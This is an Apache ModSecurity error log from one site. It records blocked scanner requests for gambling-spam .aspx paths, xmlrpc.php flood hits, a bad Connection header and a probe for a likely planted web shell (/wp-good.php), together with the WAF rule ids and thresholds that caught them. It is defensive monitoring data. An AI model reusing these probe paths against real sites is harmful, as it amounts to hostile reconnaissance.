[Thu May 07 05:40:45.624978 2026] [:error] [pid 29605:tid 29636] [client 67.144.16.170:6476] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "afu1XYnxrTjETioEY0ThRgAAABY"]
[Thu May 07 05:40:46.074571 2026] [:error] [pid 29607:tid 29686] [client 67.144.16.170:6480] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "afu1XqbP7TJOAh7WSUNpBQAAAJI"]
[Thu May 07 05:40:48.068939 2026] [:error] [pid 29605:tid 29628] [client 67.144.16.170:6519] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "afu1YInxrTjETioEY0ThSgAAAA4"]
[Thu May 07 05:40:48.516666 2026] [:error] [pid 29710:tid 29714] [client 67.144.16.170:6523] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "afu1YP0atTQld9Y2ht_fdQAAAMI"]
[Thu May 07 05:40:50.642079 2026] [:error] [pid 29710:tid 29736] [client 67.144.16.170:6557] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "afu1Yv0atTQld9Y2ht_fhAAAANg"]
[Thu May 07 05:40:51.090067 2026] [:error] [pid 29606:tid 29650] [client 67.144.16.170:6567] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "afu1YxR5HjZ1PlSAiKtkfQAAAEk"]
[Thu May 07 05:40:53.106153 2026] [:error] [pid 29710:tid 29720] [client 67.144.16.170:6604] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "afu1Zf0atTQld9Y2ht_figAAAMg"]
[Thu May 07 05:40:53.554419 2026] [:error] [pid 29605:tid 29632] [client 67.144.16.170:6615] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "afu1ZYnxrTjETioEY0ThUwAAABI"]
[Thu May 07 05:40:55.816916 2026] [:error] [pid 4539:tid 4561] [client 67.144.16.170:6655] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "afu1Z4PEZE1565sDGnwnJwAAARQ"]
[Thu May 07 05:40:56.264870 2026] [:error] [pid 29710:tid 29719] [client 67.144.16.170:6659] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "afu1aP0atTQld9Y2ht_fkAAAAMc"]
[Thu May 07 05:40:58.436318 2026] [:error] [pid 4539:tid 4543] [client 67.144.16.170:6696] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "afu1aoPEZE1565sDGnwnOgAAAQI"]
[Thu May 07 05:40:58.884043 2026] [:error] [pid 4539:tid 4559] [client 67.144.16.170:6698] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "afu1aoPEZE1565sDGnwnPgAAARI"]
[Thu May 07 05:41:00.909001 2026] [:error] [pid 29606:tid 29646] [client 67.144.16.170:6735] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "afu1bBR5HjZ1PlSAiKtkkgAAAEU"]
[Thu May 07 05:41:01.357075 2026] [:error] [pid 29710:tid 29734] [client 67.144.16.170:6740] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "afu1bf0atTQld9Y2ht_flAAAANY"]
[Thu May 07 05:41:03.398022 2026] [:error] [pid 29605:tid 29616] [client 67.144.16.170:6770] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "afu1b4nxrTjETioEY0ThdwAAAAI"]
[Thu May 07 05:41:03.846106 2026] [:error] [pid 29605:tid 29617] [client 67.144.16.170:6783] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "afu1b4nxrTjETioEY0ThegAAAAM"]
[Thu May 07 05:41:07.830647 2026] [:error] [pid 29607:tid 29682] [client 67.144.16.170:6828] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afu1c6bP7TJOAh7WSUNpGgAAAI4"]
[Thu May 07 05:41:08.277880 2026] [:error] [pid 4539:tid 4547] [client 67.144.16.170:6840] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afu1dIPEZE1565sDGnwnXwAAAQY"]
[Thu May 07 05:41:10.916624 2026] [:error] [pid 29607:tid 29688] [client 67.144.16.170:6878] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afu1dqbP7TJOAh7WSUNpJQAAAJQ"]
[Thu May 07 05:41:11.365094 2026] [:error] [pid 29710:tid 29731] [client 67.144.16.170:6891] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afu1d_0atTQld9Y2ht_fnwAAANM"]
[Thu May 07 05:41:50.962146 2026] [:error] [pid 29606:tid 29657] [client 67.144.16.170:7063] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "afu1nhR5HjZ1PlSAiKtk6QAAAFA"]
[Thu May 07 05:41:51.408818 2026] [:error] [pid 4539:tid 4554] [client 67.144.16.170:7450] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "afu1n4PEZE1565sDGnwnyAAAAQ0"]
[Thu May 07 05:41:51.857067 2026] [:error] [pid 29605:tid 29621] [client 67.144.16.170:7462] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "afu1n4nxrTjETioEY0ThvAAAAAc"]
[Thu May 07 05:41:54.178285 2026] [:error] [pid 29607:tid 29684] [client 67.144.16.170:7496] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "afu1oqbP7TJOAh7WSUNpQwAAAJA"]
[Thu May 07 05:41:54.625872 2026] [:error] [pid 4539:tid 4563] [client 67.144.16.170:7501] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "afu1ooPEZE1565sDGnwn0AAAARY"]
[Thu May 07 05:41:56.738713 2026] [:error] [pid 29605:tid 29620] [client 67.144.16.170:7538] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "afu1pInxrTjETioEY0ThwwAAAAY"]
[Thu May 07 05:41:57.186315 2026] [:error] [pid 29607:tid 29675] [client 67.144.16.170:7546] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "afu1pabP7TJOAh7WSUNpRAAAAIc"]
[Thu May 07 05:45:10.478210 2026] [:error] [pid 29605:tid 29636] [client 103.19.181.1:64963] [client 103.19.181.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.19.181.1, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afu2ZonxrTjETioEY0TikAAAABY"]
[Thu May 07 05:45:20.408954 2026] [:error] [pid 29607:tid 29668] [client 103.19.181.1:65507] [client 103.19.181.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.19.181.1, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afu2cKbP7TJOAh7WSUNqDwAAAIA"]
[Thu May 07 05:45:30.806229 2026] [:error] [pid 4539:tid 4552] [client 103.19.181.1:49577] [client 103.19.181.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.19.181.1, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afu2eoPEZE1565sDGnwp0wAAAQs"]
[Thu May 07 05:45:41.395823 2026] [:error] [pid 29607:tid 29681] [client 103.19.181.1:50008] [client 103.19.181.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.19.181.1, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afu2habP7TJOAh7WSUNqHwAAAI0"]
[Thu May 07 05:45:51.649690 2026] [:error] [pid 29710:tid 29733] [client 103.19.181.1:50445] [client 103.19.181.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.19.181.1, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afu2j_0atTQld9Y2ht_hjgAAANU"]
[Thu May 07 05:46:02.013844 2026] [:error] [pid 29605:tid 29620] [client 103.19.181.1:50872] [client 103.19.181.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.19.181.1, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afu2monxrTjETioEY0TitAAAAAY"]
[Thu May 07 05:47:50.181464 2026] [:error] [pid 29710:tid 29722] [client 43.167.241.46:57392] [client 43.167.241.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afu3Bv0atTQld9Y2ht_itAAAAMo"]
[Thu May 07 06:14:35.495731 2026] [:error] [pid 29710:tid 29731] [client 51.83.9.92:47920] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "afu9S_0atTQld9Y2ht_rAQAAANM"]
[Thu May 07 06:14:39.398459 2026] [:error] [pid 29607:tid 29687] [client 51.83.9.92:43746] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "afu9T6bP7TJOAh7WSUNx5AAAAJM"]
[Thu May 07 06:14:42.989696 2026] [:error] [pid 29606:tid 29646] [client 51.83.9.92:57534] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "afu9UhR5HjZ1PlSAiKtrHwAAAEU"]
[Thu May 07 06:14:46.852506 2026] [:error] [pid 4539:tid 4550] [client 51.83.9.92:57550] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "afu9VoPEZE1565sDGnw2_wAAAQk"]
[Thu May 07 06:14:50.543543 2026] [:error] [pid 29606:tid 29664] [client 51.83.9.92:57560] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "afu9WhR5HjZ1PlSAiKtrLQAAAFc"]
[Thu May 07 06:14:55.238535 2026] [:error] [pid 29607:tid 29672] [client 51.83.9.92:45852] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "afu9X6bP7TJOAh7WSUNx_QAAAIQ"]
[Thu May 07 06:14:59.064559 2026] [:error] [pid 4539:tid 4560] [client 51.83.9.92:45856] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "afu9Y4PEZE1565sDGnw3KgAAARM"]
[Thu May 07 06:15:03.703662 2026] [:error] [pid 29605:tid 29621] [client 51.83.9.92:33326] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "afu9Z4nxrTjETioEY0ToGAAAAAc"]
[Thu May 07 06:15:07.740202 2026] [:error] [pid 29607:tid 29687] [client 51.83.9.92:33328] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "afu9a6bP7TJOAh7WSUNyDgAAAJM"]
[Thu May 07 06:15:14.254295 2026] [:error] [pid 29710:tid 29723] [client 51.83.9.92:59562] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "afu9cv0atTQld9Y2ht_rTAAAAMs"]
[Thu May 07 06:15:18.590079 2026] [:error] [pid 4539:tid 4543] [client 51.83.9.92:59566] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "afu9doPEZE1565sDGnw3ngAAAQI"]
[Thu May 07 06:15:23.192523 2026] [:error] [pid 29607:tid 29675] [client 51.83.9.92:44002] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "afu9e6bP7TJOAh7WSUNyHwAAAIc"]
[Thu May 07 06:15:28.039639 2026] [:error] [pid 29710:tid 29720] [client 51.83.9.92:44006] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "afu9gP0atTQld9Y2ht_rZgAAAMg"]
[Thu May 07 06:16:53.292502 2026] [:error] [pid 29710:tid 29725] [client 51.83.9.92:40214] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "afu91f0atTQld9Y2ht_rtQAAAM0"]
[Thu May 07 06:16:56.069657 2026] [:error] [pid 29606:tid 29658] [client 51.83.9.92:54498] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "afu92BR5HjZ1PlSAiKtriQAAAFE"]
[Thu May 07 06:16:58.351373 2026] [:error] [pid 29710:tid 29723] [client 51.83.9.92:54502] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "afu92v0atTQld9Y2ht_rtwAAAMs"]
[Thu May 07 06:17:01.115169 2026] [:error] [pid 29605:tid 29627] [client 51.83.9.92:54508] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "afu93YnxrTjETioEY0ToeQAAAA0"]
[Thu May 07 06:17:03.408483 2026] [:error] [pid 29605:tid 29632] [client 51.83.9.92:46778] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "afu934nxrTjETioEY0TofAAAABI"]
[Thu May 07 06:17:05.630427 2026] [:error] [pid 29607:tid 29687] [client 51.83.9.92:46786] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "afu94abP7TJOAh7WSUNylQAAAJM"]
[Thu May 07 06:17:07.803760 2026] [:error] [pid 29606:tid 29643] [client 51.83.9.92:46798] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "afu94xR5HjZ1PlSAiKtrkwAAAEI"]
[Thu May 07 06:17:10.252159 2026] [:error] [pid 29606:tid 29646] [client 51.83.9.92:46806] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "afu95hR5HjZ1PlSAiKtrmgAAAEU"]
[Thu May 07 08:02:51.956018 2026] [:error] [pid 29607:tid 29682] [client 172.202.28.4:6099] [client 172.202.28.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "afvWq6bP7TJOAh7WSUOZSAAAAI4"]
